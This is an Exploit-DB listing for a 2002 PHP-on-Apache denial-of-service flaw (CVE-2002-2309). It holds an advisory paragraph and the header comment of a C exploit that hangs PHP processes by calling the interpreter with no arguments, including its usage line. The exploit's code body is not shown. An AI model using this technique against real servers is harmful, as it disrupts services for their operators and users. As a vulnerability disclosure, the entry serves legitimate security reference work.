标题: PHP Interpreter 3.0.x/4.0.x/4.1/4.2 - Direct Invocation Denial of Service EDB-ID: 21632 CVE: 2002-2309 类型: DOS 平台: UNIX 发布日期: 2002-07-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5280/info

It is possible, under some circumstances, for remote attackers to invoke the PHP interpreter from the web. If the interpreter is invoked with no command line options, it will hang. Attackers may exploit this condition to cause a denial of service.

This is reported to be a problem with PHP and Apache on Microsoft Windows platforms. It may be possible to create this condition in other environments as well.


/* PHP-APACHE.C
 * By Matthew Murphy
 * Exhaust CGI Resources via PHP on Apache
 * 
 * Calling PHP with no parameters causes it to
 * never terminate; the process must be killed
 * by the server, the OS, or the admin.
 *
 * PHP on Apache requires you to configure a
 * virtual to load PHP out of.  PHP implements
 * a "cgi.force_redirect" value to require that
 * a certain environment variable be set to
 * allow PHP to run further.
 *
 * However, an empty command-line *still* will
 * cause PHP to hang.  If a remote user does
 * this for a lengthy amount of time, the server
 * may no longer launch PHP or other server-side
 * components.
 *
 * NOTE: The vulnerable config is on Apache,
 * but other servers can still be exploited
 * if they offer PHP.EXE (or an SAPI) directly.
 *
 * Usage: php-apache <host> [phpbin] [port] [maxsocks]
